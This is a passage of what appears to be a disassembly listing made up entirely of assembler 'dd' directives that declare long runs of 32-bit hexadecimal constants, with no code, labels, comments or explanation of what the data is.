		dd 1FB9FFC6h, 57E6050Ah, 0DA59E90Eh, 0D838A72Eh, 7BEF3D80h
		dd 80923DD6h, 70123B1Fh, 0CC90909Ah, 70E8C881h,	282AC702h
		dd 0FF26E941h, 179DDCA8h, 0AA717783h, 0AC93DFA4h, 178FED68h
		dd 9B548814h, 3D73449Bh, 0D09558B6h, 1B56DF88h,	0A2C0F0C5h
		dd 0F2597515h, 580D7DBCh, 76D781E6h, 31733069h,	95B1DD4Ah
		dd 5EF4946Dh, 0B8E184B1h, 82DB8D79h, 971B3CC8h,	4AD30031h
		dd 0AEF9E288h, 0F82C6D0h, 0A22F7EADh, 1BCBEBC3h, 8451A0A1h
		dd 7F106987h, 0E64CD4ACh, 0F52577A3h, 0C5FB776h, 0FFCE638Bh
		dd 0ED289F2Dh, 93AE759Fh, 2A3CB73Bh, 43C34446h,	0B946C974h
		dd 8CC04C06h, 835D6A9Dh, 7C93A8D9h, 9ACF0FC8h, 0C916F1D7h
		dd 97EC6759h, 0A20D1DA3h, 0DC2A8AB5h, 2E6564A0h, 0B1FC8A1Fh
		dd 829F0FD0h, 2F65A7AEh, 0E85C8A21h, 0AEF9716Ah, 625DD594h
		dd 0F9E84FD9h, 0C1CAEDC2h, 0D1772DEDh, 5AA53DB2h, 99A74E1Fh
		dd 0B54C0168h, 1BBA82D1h, 0B33FA69Dh, 807CF185h, 2C843530h
		dd 0EEC4448Dh, 9BECF007h, 170FAC01h, 0E4B0B99Bh, 207392CEh
		dd 42BD7F07h, 49EE2111h, 62033DB6h, 0DD73DD0Ah,	0D7950249h
		dd 224D540Eh, 6B0BA800h, 84922631h, 3D16BCD7h, 0E4FB7A10h
		dd 0C07B112Fh, 3A3F5692h, 2327D2D5h, 0F136B022h, 98F273A0h
		dd 0C5F8EC2Dh, 0D33EA5EDh, 0B6E92EFDh, 6EEAD0A1h, 8B9FE44Ch
		dd 86970DC5h, 0F7BFB95Dh, 55DD2AF0h, 0E829D4E7h, 7D145D52h
		dd 0A09D2A9Dh, 7A108334h, 0E15A92FBh, 407E187Bh, 3563639Eh
		dd 0AFA71DB5h, 0FFC2740Dh, 41FA6364h, 0F9FACE0Ch, 9D32FF5Dh
		dd 0E6F0A74Eh, 0FE0EDDDAh, 0A3881163h, 0B71408FDh, 3E1E53C0h
		dd 0EC2AAF1Ch, 4E08EB17h, 5C68A49Eh, 102F75B8h,	0D83757F2h
		dd 694363C4h, 24CC55A5h, 2D5F72CDh, 42D6997h, 578C85A2h
		dd 0F15B3C27h, 0BABC6C9Eh, 4599800Fh, 0A9FF14B0h, 6634E18Dh
		dd 6B4A85CFh, 63EBD11Bh, 4CDA8063h, 0C72F93BDh,	5A17BD07h
		dd 6CA1A652h, 6987B152h, 95E07442h, 0D8B4E5F7h,	138FED9Bh
		dd 0D840DD44h, 7D9A791Fh, 14DE711Ah, 2179932h, 35D9EA21h
		dd 0D4E1BF35h, 62B2B803h, 6288BE67h, 0DE70ED8Ah, 0CEE6FF9Dh
		dd 143D1368h, 0D6300EEAh, 94497917h, 0BAF1BDC8h, 296F5ADBh
		dd 49C766FBh, 51D623h, 413D43D4h, 0ED3D5B17h, 0D9F0B2BBh
		dd 0B7269FE3h, 0D0A200E5h, 0EF5B993Eh, 9F4FABh,	1D94358Ch
		dd 527946B2h, 1D83C236h, 0DB23DB35h, 0D831C6ACh, 8936A951h
		dd 0ACD8672Bh, 0BCC569D2h, 4708438Dh, 0D41BDB0Ah, 44941A6Ch
		dd 0E08288ECh, 55CDA847h, 45120C51h, 99F91F3Bh,	0CD7ADB5Dh
		dd 0F84DCFD6h, 7B1CEBDFh, 0EC76691Fh, 6B87CA93h, 2D2F7F9Ch
		dd 0F5753BA8h, 5F4858D6h
		dd 0FEFE2670h, 6E9A55EEh, 0E7FCE39Fh, 8792931h,	73111680h
		dd 20DE607Ch, 0DB0978E5h, 957E70D5h, 7E2B9A4Fh,	0F243CA05h
		dd 1B269A6h, 81414859h,	0A92AB19Fh, 615C0F93h, 0DB1CF0EBh
		dd 23025557h, 9FB05CB3h, 0C8EE258Dh, 0FB054351h, 28387927h
		dd 0E572C488h, 0FBC50191h, 0A090DB37h, 0B0AF498Dh, 0F793B2C2h
		dd 8D3B8AF8h, 1985C328h, 478D4797h, 1B1A485Ah, 0E292AB4Ah
		dd 487D154Eh, 56B87A34h, 0CABA6EDh, 0DC1CE267h,	0A56E62C0h
		dd 0D43B8CD3h, 0F531A2ACh, 3CB42E4h, 950EBDA0h,	6B07C7DEh
		dd 0E500FAABh, 69EFF829h, 8771C89Dh, 0C2FBEE91h, 0BAE9C896h
		dd 7339770Fh, 3EA70E63h, 7C16D4DFh, 0C0031835h,	1E4DAC61h
		dd 2FEEF9DDh, 904F33F0h, 0E699AE6Eh, 0E11FC09Ch, 0EF14367h
		dd 107BB2Fh, 7DF33C12h,	85F808F9h, 0D5A3FBEAh, 30A948AAh
		dd 0B3E10C1Fh, 0E489BF4Ah, 0EC6D4E3Ch, 55EFEFF4h, 0E8035102h
		dd 10AF442Fh, 66DA49F4h, 0CC167466h, 0CE94BB14h, 21F79586h
		dd 72429C89h, 6A8171CAh, 0C4591E10h, 829CB9E6h,	3B9CF605h
		dd 0F6E9D626h, 399A936Ah, 80113D4Ah, 0D8C7D0ECh, 0EA5015B8h
		dd 995ED6E0h, 991D732h,	0FDC8B828h, 26940421h, 1B63E3B1h
		dd 39F24EF8h, 65322E77h, 0DF27EBF9h, 3FF3CA34h,	5261C28Bh
		dd 79E7B29Bh, 11A3A346h, 9409A97Dh, 30EAD216h, 557CF39Dh
		dd 9B6BB80h, 670F68B1h,	0EFA29085h, 767614BDh, 45751E74h
		dd 0A92EB311h, 0DD24DDF5h, 0AF05EA7Bh, 0AEE77C15h, 90C82E9Bh
		dd 55541EBh, 12A256DDh,	0E9440411h, 2179E27Ah, 398AE7A8h
		dd 65CF8046h, 370D9339h, 0DB8233D1h, 0BFBE36A0h, 14F49578h
		dd 0B5AA4C5Bh, 853F9577h, 7F4841Bh, 75D5DB20h, 7690F303h
		dd 8D111502h, 3069EB8Bh, 1A6B6C4Fh, 49AAFD49h, 47E9AC39h
		dd 2315B1C5h, 970861C0h, 2493B30Dh, 0B2D8A4D9h,	87EF682Ah
		dd 7D3719A7h, 3F82D448h, 5664E566h, 12056819h, 437505Fh
		dd 0E9028C83h, 0E62C6E65h, 0F963C387h, 539B507Dh, 2F28D734h
		dd 3FA5E36Ah, 0C1A34234h, 529698B8h, 18359893h,	0C745E74Eh
		dd 0E3595538h, 0D9D504BAh, 5641D1B1h, 1BFEC170h, 830B0C15h
		dd 66A9CEB6h, 1A797A7Eh, 0D3DBF3EBh, 3C225E99h,	2C52FA29h
		dd 38057AE7h, 91250CF0h, 0F3D4ABB2h, 14BCA55Ch,	0D8BE6B38h
		dd 70EA70EAh, 56E2853Ch, 9C20468Eh, 41AEE3CCh, 8D79F397h
		dd 0D79C18CCh, 0AF875B33h, 0B2107422h, 0ADE1341Dh, 53B91E7Ah
		dd 8C35A3C2h, 86548F51h, 0DFA8FF69h, 0E2FCB1D5h, 0FC516F23h
		dd 1016B76Fh, 0E1EB2DDBh, 7418965Ah, 6D74DE8Eh,	927F72F0h
		dd 37831FD2h, 32CC1051h, 3BB469D8h, 1BDBAD87h, 190391C2h
		dd 0D957195Dh, 47DF6AEh, 7AD2AAAAh, 90BF46C8h, 7A40D18Ch
		dd 267B455Ch, 229F685Bh, 0B1A50CE2h, 6850FD96h,	6D62CF50h
		dd 0A3978C2Dh, 58454B7Ch, 6CABFE8Fh, 7CEAE61Bh,	0C8E690D8h
		dd 0D576223Eh, 2D8F503Dh, 0D2CB828Bh, 40F379C1h, 0D8806443h
		dd 6D78AB12h, 0F43236D3h, 8BF50354h, 88D53621h,	7D7D4453h
		dd 0E3FB1265h, 529FB138h, 5D13EEEFh, 0B29C3A88h, 8A56E229h
		dd 0D3E3EA0Eh, 5A6D3FB2h, 0BA25D6Fh, 66E14770h,	3DA7F3E6h
		dd 0FE251261h, 0DE690734h, 5F96B5BDh, 0C53B4052h, 6AB0FABCh
		dd 352EB25Ch, 0C2D3A212h, 0E8DD89D0h, 715F3315h, 36C06B5Bh
		dd 3ADEC72Ch, 849D2C6Dh, 79F59656h, 6176CD52h, 6ABD4652h
		dd 0CA23B085h, 8A3731C0h, 0EC75E964h, 0C96F7B8Fh, 0D0FA5045h
		dd 31FBACE3h, 0DC1FB928h, 86FEFD08h, 85D72F41h,	46AEBB75h
		dd 575B018h, 9882A657h,	241E8E42h, 0E9AB63F9h, 0BF447804h
		dd 2499596Ah, 0DC5CD6CFh, 803581D0h, 5F726D77h,	141A9404h
		dd 8C63E16Bh, 0C10009DCh, 94BDF517h, 8B1E1D2Eh,	40C87F0Eh
		dd 6AD5BB6Fh, 54E2F1C0h, 25A53C59h, 3B18ABFAh, 0CF4C7FB2h
		dd 0AAEEF457h, 0C1189E5Bh, 26C9FFE6h, 4F2AF4A0h, 48D6B9B7h
		dd 414AC51h, 0C23DAFFBh, 0A8795A48h, 4B40D716h,	847F7511h
		dd 8726BAF2h, 7423810h,	4CE698F4h, 0A338C75Fh, 0B9E052AAh
		dd 4F7385DEh, 0B50A022Ah, 32BB92FEh, 9C835764h,	4557B5EAh
		dd 0A5D83A3Eh, 1FFE82FCh, 3C0B568h, 0B59AAA07h,	7E4A9FA2h
		dd 5F75B1E9h, 4F0D88ECh, 799866Eh, 9B47D728h, 6B1FAA15h
		dd 7E58EBA3h, 7A8F4A06h, 2030D45Bh, 0FB7BC145h,	0B796C95h
		dd 8F9152E0h, 196B822Ch, 0FC8AECCDh, 9FB17CB7h,	0EC1354B6h
		dd 3A7BDCC8h, 313F0FCEh, 34A07F1Eh, 0A1DE8CF8h,	0A21B4C81h
		dd 5E6D8687h, 49D7F57Ah, 151BACF1h, 0D3FBBFB0h,	0DAE33422h
		dd 4E536F2Ah, 2E0C4951h, 0B70F5507h, 8D5D30B7h,	943BF87h
		dd 568DBF3Eh, 96219D8Ch, 0C03D53BAh, 0B6E945A2h, 0A0CD9C09h
		dd 2423982Eh, 7C76EE9Fh, 73E4952Ch, 0D8C7B2DFh,	430D9252h
		dd 84F0C4FEh, 6308A693h, 4FF26055h, 8E50157Ah, 5ED7BC51h
		dd 4EADEAEAh, 8B0CF90Ah, 0C20E1D6Dh, 0D393D394h, 129C920Bh
		dd 1F70FA46h, 421E2F7Bh, 77F1676h, 48E78086h, 0E1D96C9Ah
		dd 0AA231F91h, 35DA6A9h, 4EECC4C6h, 0F79169A0h,	92732041h
		dd 0F91CDDF0h, 0E9D81860h, 3D167BC1h, 32184490h, 0B561DA7Ah
		dd 7014BDB4h, 1E877416h, 1B5E5324h, 26B61B13h, 7D48D1B6h
		dd 0DF6389E9h, 40A4B756h, 400901FAh, 4DE07E64h,	3B3943Fh
		dd 0D9962988h, 0EFD5856Eh, 7F570F03h, 13B0823Bh, 7DBB30D7h
		dd 0E3A428E3h, 27FBD962h, 0F909CC04h, 0CB991AEAh, 54DE4539h
		dd 5BD1D43Ch, 0E20C4DCEh, 89F8E894h, 0FDFD7377h, 2FC6203Ah
		dd 0C6C05911h, 0BED8224Eh, 1D1493C9h, 351D0E5Dh, 85197813h
		dd 0D2103F7Ah, 0BE572712h, 546644A6h, 0D08C282Ah, 0F8EFC9BEh
		dd 7B8E7026h, 0D25BA4ECh, 55011FE9h, 10538838h,	1C250CC9h
		dd 4501C6D6h, 0A5E05978h, 3514447Dh, 0AD24ACBAh, 0D6AA309Ah
		dd 41500481h, 8A06DE00h, 1779DF87h, 8EF73A81h, 0EB2E39FBh
		dd 0CDA1702Ah, 2A4A8F2h, 0ED5C6C30h, 520A1916h,	0CACFFF3h
		dd 0D442301h, 75384F5Bh, 0E53AECD9h, 767E79BDh,	4FF62038h
		dd 0E96CAA6Ch, 40B51ACDh, 2383AE6Dh, 738C4728h,	9CE29EC1h
		dd 7DC04E31h, 565816AEh, 0ADE628C7h, 42A41FB9h,	9931119h
		dd 0B90B56F0h, 0B43E966Ah, 0E22CCB16h, 0DD10E7BEh, 0E54BFFDAh
		dd 9B6F0627h, 0FE3D18E1h, 0CD8425B9h, 87D99DA5h, 231C3C24h
		dd 94555F58h, 0C02F11C4h, 0D511AB33h, 382D82CBh, 5D612CBh
		dd 3C4D6760h, 45B20F0Ah, 94FC93Bh, 0ED1FBDDBh, 69A6E8E8h
		dd 0C6658553h, 4250A88Bh, 2FAFADDh, 0ED76576h, 8FC90BAEh
		dd 47702EF6h, 0AA85EFB2h, 0B534AC23h, 596FFE10h, 0E820379Fh
		dd 0BB3D4D76h, 0ED3F072Bh, 30BBB106h, 2250F60Ch, 1014DEDh
		dd 80683738h, 5AB9C253h, 626BEE10h, 52B2AEA2h, 0F26D4176h
		dd 2FF257ABh, 79D851CCh, 0FF01FAC7h, 0BEACC3B5h, 0A1E3934h
		dd 974F7B57h, 1E99274Bh, 72AB64EBh, 0DB0FFDF0h,	0AF534BD4h
		dd 0E24CAA71h, 0BF01EA3h, 0C97CC9A9h, 0C5B25030h, 470A40E0h
		dd 0DF0887B0h, 9B50C451h, 674E5818h, 0C3FDFF67h, 0AF2709BCh
		dd 105F3D9h, 0AED8ECBh,	5AC98459h, 57864208h, 0A2A23B39h
		dd 94348F3Ah, 6741D676h, 0D6BBACABh, 7425A0C2h,	0A5DF997Fh
		dd 3E7E6E5Eh, 0D39E1F78h, 9C2189FBh, 0BB0810CEh, 804D49E2h
		dd 754DAF20h, 7039F34Fh, 6B8596D2h, 0CAD512E5h,	0B54792F8h
		dd 0F697FB64h, 0CE3417CBh, 0AE50C878h, 0AF2FFE3Fh, 25E5F3E9h
		dd 642B2BFBh, 7BD6B871h
		dd 72BAD6Ch, 0F8F794BEh, 2E1FF1A5h, 0AEE50F3Ah,	0DD4E2430h
		dd 2F95E102h, 0AB1DD8ACh, 0A9E543B2h, 0B8FB02D6h, 5218610h
		dd 0AB6ECB07h, 4A96C99Ah, 0BFB934D0h, 74A0C7B5h, 0C625E27Dh
		dd 679C81Ah, 74F1358Dh,	0E5E05A9Fh, 22E2AAFAh, 0B7533E23h
		dd 0A10A45C6h, 7973D18Bh, 0A79DF81Bh, 49311753h, 3E4C5160h
		dd 0B0100ED5h, 9912C8FBh, 60853643h, 0F1EE6316h, 68596E96h
		dd 0A86060DEh, 63032522h, 7B23432Eh, 0F1050452h, 0D515A695h
		dd 95152CABh, 0E4E9E7BCh, 65995C65h, 6101B0CDh,	8DFA6657h
		dd 819B5A5Ch, 2DC7C0C5h, 1CD19DACh, 4C0F7941h, 5883CB9Dh
		dd 0F9353C38h, 9A31445Fh, 0D5D08DAFh, 0EEE9476Dh, 0CE0E9628h
		dd 0E91D9A14h, 0D6E47740h, 1083027Dh, 0C5FC8C76h, 0F14664D4h
		dd 70311B9Bh, 0E409C53Eh, 9E9CFE5Fh, 0D352F59h,	28CDC141h
		dd 0A6F3B214h, 0CA136720h, 55E72145h, 6FB852B6h, 0CC0BCC44h
		dd 0B246EF28h, 7806F254h, 0EB3B296h, 32CAB406h,	86638B6Dh
		dd 36547015h, 0AA661CA9h, 0BFEA507Ch, 0E0FA58B9h, 286B618Ch
		dd 20E89CA0h, 571FE761h, 0A9023CABh, 0FB27D9F2h, 0F00EC276h
		dd 8F50022Dh, 6CBD5FC1h, 6F381041h, 134552CDh, 367EA452h
		dd 0D6BF2DF2h, 594588D2h, 88AFA045h, 0FBC8415Ch, 806BF595h
		dd 1AD457D2h, 0DA336AF5h, 0DA70A320h, 0E88C8C3Ch, 0F7C50199h
		dd 103C97ADh, 8D7055E6h, 0B829CEFAh, 0BED22CAFh, 264223CEh
		dd 91E292E4h, 26E658F4h, 0D26EFC5Fh, 8C14EC5Ah,	6F44719Dh
		dd 505B0F2Dh, 0F059B551h, 0DB8F280Dh, 838CD2D7h, 0E6979EF9h
		dd 902D4BBEh, 92BAACC6h, 915195A8h, 10A09358h, 8185388Eh
		dd 4DAB7063h, 0B736D7F6h, 35A8FA90h, 7C5421F0h,	41375B6Fh
		dd 82A5F573h, 2EE43F70h, 172EA295h, 0E40CA4D1h,	9C12B501h
		dd 9D1DD435h, 1F734F12h, 1808C915h, 4C3B9333h, 1B3B52A6h
		dd 50405EF8h, 0D3AFEC57h, 0C6DA5E77h, 0C0423039h, 0A2FF13A4h
		dd 0D7290EFAh, 8BC1AD3Ah, 0B055AA6Fh, 209FAC04h, 3A648B3Fh
		dd 0A383C839h, 0E2F1884h, 1B9E277Eh, 0C51A4E3Eh, 4BBCFB7h
		dd 559422B5h, 41732EFEh, 8A388E21h, 57DB2CA8h, 124EB699h
		dd 98CDD132h, 239F69DEh, 38F4F930h, 91DAF02Bh, 566B19E3h
		dd 0F6468366h, 0E7B52402h, 0E2227C77h, 559D0FF0h, 77C2E2C2h
		dd 24708BBEh, 0C532B62Ah, 19DC9920h, 0FF68DB16h, 540181B3h
		dd 0CC523ED0h, 5A8B9C18h, 1F2D2A62h, 0E402B259h, 6D31A79Ch
		dd 0A7B39C22h, 0B63DAE23h, 202E51D4h, 551E4546h, 861B4430h
		dd 54D39D33h, 0F0C2C70Ch, 0B827D77Eh, 6A306909h, 7E4C027Dh
		dd 49D50C93h, 4C8301DAh, 0CEAA0278h, 0DDD2FD65h, 0BA14029Dh
		dd 0CB009047h, 81616218h, 100E7B84h, 7B305573h,	0B8449D5Fh
		dd 0E0E0A23Ah, 30B5A51Eh, 0ED7A5E93h, 26DA0DBFh, 7CE29200h
		dd 7A6EBA6Dh, 0D76F8AB5h, 0FBFD1D98h, 0EBCA1249h, 9E51E2DFh
		dd 0A278776Ch, 1B54888Fh, 0BE88B504h, 0E195403Bh, 318D4C39h
		dd 0E8CE3513h, 649E2012h, 0E4529C29h, 597FD639h, 8BEEDF10h
		dd 3405DC06h, 375DAE7h,	7674A9F1h, 229A2F81h, 8FB1C16Fh
		dd 2ADD47A9h, 0E1061D67h, 0D6CD46F0h, 0E580B5ACh, 9D3442AFh
		dd 7A094E37h, 0A2ECC23Bh, 53C65638h, 18A5AF15h,	0CCDDA894h
		dd 3530D30Eh, 52B489D7h, 0D9D8B49Ah, 665508DFh,	1DEA9499h
		dd 85D69C98h, 6D52C876h, 8DADB94Fh, 0DCDD94B7h,	9E1D676Ah
		dd 662A02C6h, 4152F69h,	327E1C83h, 0A59EFD4Dh, 4C9BB618h
		dd 0FEF33591h, 0A025FF38h, 0E81DD226h, 15B7C8CFh, 8C71FBBh
		dd 79493D65h, 0CE044ED0h, 65EE8A2Ah, 0D492A7B7h, 8324A304h
		dd 0FE9DE6B6h, 4ED1A75Ch, 6FD84402h, 244FC3F5h,	52292B09h
		dd 0DFBA6A05h, 75960B16h, 68D8BFCAh, 4408EF66h,	41457E67h
		dd 99FA0E09h, 2328AE21h, 0BA691236h, 3C24DBBDh,	0C6207D19h
		dd 0D8EC7E6Ah, 5DE413B8h, 7DB82AF2h, 74E655A1h,	41F14568h
		dd 4E997D0Ah, 855DE23h,	377D9136h, 0C09F2CF2h, 1A38B755h
		dd 0BFF3744Eh, 0BFBC5E3Fh, 0B783ABB7h, 0A00ABD73h, 199B8028h
		dd 8F813CD9h, 16109D6Fh, 3EAFCC02h, 0A850558Ah,	542A89E5h
		dd 7204D2EBh, 0CFB5D2EFh, 0D8865074h, 9CFB1678h, 9B44BC07h
		dd 0C5AC3DA2h, 199E0E5Dh, 61040524h, 5CD8604Dh,	7EEE6824h
		dd 22571D33h, 1A469E01h, 2A66B8CFh, 18971A32h, 28E49B7Fh
		dd 5DF5BD2h, 7AD72283h,	0BA385D15h, 0C0BA5E78h,	44275081h
		dd 178F9607h, 439E7CBDh, 3DF03C05h, 0A7C06B00h,	7DFE314Dh
		dd 5ACA0F5Eh, 0A8A914ABh, 324B967Fh, 0BF46807Fh, 9FFB5CEFh
		dd 9715BCEEh, 8B042DDDh, 0A3ABE0Fh, 79DA11E2h, 0DAC26B1Eh
		dd 9E400EFAh, 38FBCCF5h, 3B4B181Dh, 0B91A248Ah,	6549E0A7h
		dd 0EC846884h, 0A3B7DCCBh, 0ADC75DB3h, 14863013h, 7105923Eh
		dd 15A7168Fh, 4419592Bh, 0FE3860F4h, 4AA22FDh, 5AA76D0Bh
		dd 0D34C8B7Bh, 394B5CFEh, 0A09BC09Ch, 9C8FB0Eh,	3BEC51A4h
		dd 95F09029h, 4AC22978h, 0CFC6851Ch, 67CCBE6h, 8A12AC62h
		dd 0B831984Dh, 18F8A74Bh, 4ADA56E3h, 63FA2429h,	3052C4BBh
		dd 0F88D01BEh, 0D2208CAAh, 6FDD05BDh, 1C2361A5h, 0CBEFD560h
		dd 0FA000F9Ah, 0E327DD3Fh, 0C82534D3h, 0C1F6BF11h, 0DB2ECF4Ah
		dd 543F4383h, 5DC2EF3Bh, 4A1C2930h, 9A421439h, 0C3D5FC4Fh
		dd 535F482Ah, 0CFC59924h, 1A9171E5h, 0B1558BDDh, 372EC19Bh
		dd 0D95B9FB7h, 0CC3A164Ch, 0DA3133Bh, 0B798C48Eh, 9EA84055h
		dd 0EF75EB5Ah, 80BC0371h, 0FC73998Dh, 21D46BE8h, 3918805h
		dd 99B2DEFCh, 7187A389h, 0DE82648h, 65D5FB90h, 9706A9E8h
		dd 23D2753Eh, 9F16B5B1h, 0D0FDCE66h, 525B3B6h, 0BCBA56B3h
		dd 0F60DAB8Ah, 0E499EC3Bh, 16882C5Bh, 97B938B6h, 64C23ECBh
		dd 0AEEA3654h, 61528C91h, 11CB2072h, 6C0190CDh,	19A1F787h
		dd 50B9F0F4h, 0BFA86368h, 86CEB87Ch, 0CD32A712h, 365D7BB8h
		dd 758204A6h, 4B72CD40h, 6C8D2A24h, 340B7F65h, 422D9819h
		dd 41FB602Fh, 43E98A52h, 0A123E05Ch, 0D7938FE7h, 0BBB47B44h
		dd 5D1F2281h, 43A9416Eh, 0A1C889B4h, 8D3515F4h,	0B224B91h
		dd 0A99C32F6h, 31B0E10h, 9DFC61B1h, 0CC898D33h,	5E7CA297h
		dd 7487E83h, 0EBFE32CBh, 66A0F857h, 0A6BA7B21h,	786381ABh
		dd 3B096CC1h, 12B88FC9h, 0F73CB3CCh, 90E30098h,	0C9A223B2h
		dd 6D5766CBh, 0D3172515h, 48EF4892h, 0F4B7C1B3h, 0D0C0CDA9h
		dd 0FF3F8631h, 21A3BD23h, 68D297DDh, 0D5E6A02Ah, 944172D2h
		dd 0E9EA7D2Eh, 0B65A4700h, 0A4147A52h, 5E52C66Eh, 0B1ED07B9h
		dd 0E26E531Bh, 0C3744BFBh, 6756B346h, 0B71D455Fh, 0F5B34E8h
		dd 0E4F82149h, 0DE4E5603h, 49683541h, 98F4FA63h, 0FB7E550Eh
		dd 0A325426Dh, 0CA265FCFh, 0B2A29539h, 8042AEC0h, 1C6FE1DFh
		dd 8AA1D0BDh, 1B784804h, 7BFD3C9Bh, 0D0647334h,	3D832E0Dh
		dd 88F63733h, 63D61731h, 0CD82D186h, 6E6DBFD2h,	6C1DD908h
		dd 447FB9C8h, 384E99EDh, 0DAEF9766h, 7178C962h,	8E548D8Dh
		dd 5B5BF4DCh, 49CF1566h, 3B1639F9h, 0CDDADD23h,	2FD7BA8Ah
		dd 2B8F5ABBh, 0F7DE86ECh, 295B8799h, 0A92CCCA8h, 6A56BF5Fh
		dd 494252E4h, 9A6534F0h, 999AC53Fh, 2A57EA26h, 0AEB59CE2h
		dd 0BFF0ABA6h, 86E4CCCh, 45542A6Eh, 441E732Eh, 8886ECFFh
		dd 25508BB7h, 0B385DFACh, 38646E8Bh, 912D15E9h,	5946DE1Ch
		dd 0C4789EC1h, 0D98AB780h, 8ACA9747h, 0B8604406h, 9F0B733h
		dd 61D770EAh, 0EA6C5E23h
		dd 178812EFh, 0DA4F70C5h, 87473E29h, 2F94B5DDh,	0FD9B7426h
		dd 77A16A3Ah, 72911B49h, 351CCF21h, 51635FEFh, 47EB97CBh
		dd 1FE2BA40h, 0B80AC07Eh, 0C73ED396h, 0C190DCD0h, 82E941ABh
		dd 292C8DB7h, 0CD22FFD5h, 719F823Bh, 4867E3ACh,	63B9EAF1h
		dd 92865C57h, 0D2C8F174h, 0CC3BA38Fh, 0BCEA4B6Bh, 98533B06h
		dd 3DBA3600h, 0DE47619Bh, 0F3323A25h, 0DA967BBCh, 5EBE3343h
		dd 0A0F60223h, 490BA47Bh, 1E0CEC64h, 158CDFCFh,	0AD1B2584h
		dd 89D179E3h, 1FF18B20h, 0A034D242h, 0F7777BACh, 0A7ABA293h
		dd 9BB84804h, 0ECA1BA6Ch, 0DBD360B3h, 0DFF92B45h, 5C6CB586h
		dd 0A797C7EFh, 531F73D9h, 0F81C6AB8h, 8225C5F5h, 0C3752ED0h
		dd 0CEB3B398h, 0BD46FFA1h, 55C31551h, 612F7578h, 20A4A431h
		dd 0FFA9D93h, 13052DB6h, 0C48571FDh, 9D625FA9h,	90511BE5h
		dd 0BEDC3566h, 58992D46h, 0CDF61C80h, 92936962h, 3E4C4B77h
		dd 0E8298E04h, 0D244375Ch, 1BD79DFAh, 0A33EBC5Ch, 0A7681878h
		dd 9FFE79EEh, 2EF890B1h, 9E69433h, 90CE93A2h, 0D72D9B00h
		dd 61F1D9DDh, 0DFC464B2h, 35EFB7A4h, 5BF75402h,	89BD7835h
		dd 7E5947BFh, 7DA3084h,	0B914380h, 0F65A2147h, 0FC88475Dh
		dd 3395DE83h, 5888D5EDh, 0DAA9EE5Ah, 4BFAD6B9h,	920C471Bh
		dd 711D4D5Ah, 5A09A97Ah, 7F9F3502h, 96416E7h, 19B6D7AFh
		dd 7980AB8Eh, 769E4476h, 0DEBEB8BBh, 230BB04Fh,	6684E60Ah
		dd 4604C6B4h, 0A41DE9F8h, 0AD930259h, 0D26C3573h, 0C713E23Ah
		dd 0D279AB26h, 30CE54CDh, 0A9895D81h, 91D97CE9h, 0CCCD4FE5h
		dd 65E184F7h, 0C0AAB436h, 0B5248386h, 2E2584ABh, 296528CDh
		dd 0B6833DD6h, 4DCACF00h, 1A0EA59Ch, 0C762EBE4h, 76C76640h
		dd 0B0E49BBh, 8D77B7EAh, 943BBCAFh, 77C28410h, 0E70A5804h
		dd 1FEFE7D3h, 5E5A5358h, 7A8CCA5Eh, 3D859338h, 943F835Ah
		dd 27E835ADh, 1A8FEAE1h, 0CCA16444h, 3F62BE12h,	81C77BFh
		dd 513CD1h, 84212508h, 0A06C4754h, 5A35C166h, 1128D33Dh
		dd 0E1907A42h, 87074FC9h, 9BB61128h, 0E1264FD8h, 9B3CD0DAh
		dd 0F10826EEh, 0BA1B544Dh, 7D001B0Ah, 0F6BC2D09h, 8AEB516Ah
		dd 9D72DD78h, 0DEDA9191h, 7C4C035Ch, 9C48EFF6h,	38E50B45h
		dd 481A47B1h, 73A29F52h, 0EC048B63h, 9FB85688h,	61E9B04Fh
		dd 5F886415h, 207F37FDh, 7E34A65Bh, 8DBE77E1h, 14F280B3h
		dd 4F658242h, 8D34A91Ah, 0DF8B8932h, 84C8C5EAh,	0D98CAC3Ch
		dd 1A4ACE32h, 0B79581Bh, 0FE94A053h, 0F327684Dh, 4E094121h
		dd 8A23EC3Dh, 7DF63BFh,	0C98C0D8Ch, 8C078CEEh, 3FBA4E0Fh
		dd 0FB3E17Fh, 9A80505Fh, 8B96B2B4h, 0C2299B7Dh,	5315206Ch
		dd 34F4728h, 0A2838C10h, 1817D5DAh, 3E8ABDC1h, 87922435h
		dd 46A03494h, 84F0088Bh, 3FBFB33Ch, 5B314562h, 0B73EA347h
		dd 49975FBCh, 87200132h, 0ACAE468Bh, 7DEAEFA3h,	3A9A75FDh
		dd 32016A09h, 3FAB9AF2h, 47861AC3h, 889B7249h, 5DA2F16Bh
		dd 0B4529B2h, 45E454A6h, 0E78A44B6h, 2876394Eh,	2425EE77h
		dd 0D02257E6h, 0D397867Eh, 29040AB3h, 17331D20h, 0E5889309h
		dd 0EBCD79BBh, 3E7A29DAh, 6587152h, 5A31F47Ah, 0C202FB9Fh
		dd 7DB78916h, 4287C083h, 580ACBC4h, 0CCDDCCABh,	2B5E8E19h
		dd 0F90CE402h, 2004CFFDh, 0DB2B9620h, 0E1C1A65Bh, 64103F25h
		dd 0E0C38B19h, 58765846h, 3DACD750h, 26C7FDC4h,	707758C7h
		dd 5F1E492Fh, 78DF29CBh, 5A29F448h, 8E6F9FDEh, 90B6748Ch
		dd 8AE32946h, 0E0998F5Ch, 4C7915EEh, 83674DE5h,	532D2E82h
		dd 2D9A926Ah, 22D0E285h, 3765F74Fh, 3C18C520h, 1BB63C9h
		dd 0B88F041Ch, 63F652h,	18F6314Dh, 0EE9369C6h, 0F12C2C35h
		dd 0AA791BDAh, 32CFDA58h, 742A0B84h, 612B92Ah, 2B9634B9h
		dd 65DAE0FFh, 6E18F070h, 65C26048h, 0E2F30C2Eh,	7BC8A35Ah
		dd 36E9F2ECh, 0C1F3F55Ah, 3F6343E8h, 0D3CA744Dh, 0E8B2208Dh
		dd 5A28B4D8h, 48D65840h, 0DF633779h, 4EED71D2h,	0A05915E6h
		dd 5A0EE9A0h, 0ECC306BEh, 0BED895E4h, 513E254Ch, 0BC852E44h
		dd 0BDDDB23Dh, 0FECEB940h, 71FCB67Bh, 0F6C7C419h, 0B9B04B32h
		dd 37ADA105h, 0A6979940h, 0F0D8504Eh, 4566FC72h, 0A5990C6Ah
		dd 5D0F55E4h, 4635FFD6h, 0D31B96B4h, 0B8B886F9h, 9FE91ABDh
		dd 208495C8h, 0C928D209h, 672717A6h, 0E836D602h, 2145A4EEh
		dd 96A35BC9h, 83593BD0h, 0F2F4486Eh, 8940B7D9h,	0AB3FE739h
		dd 803D926h, 0A3D55AE9h, 0BFBF5C40h, 0E4EF3E80h, 42CDAE76h
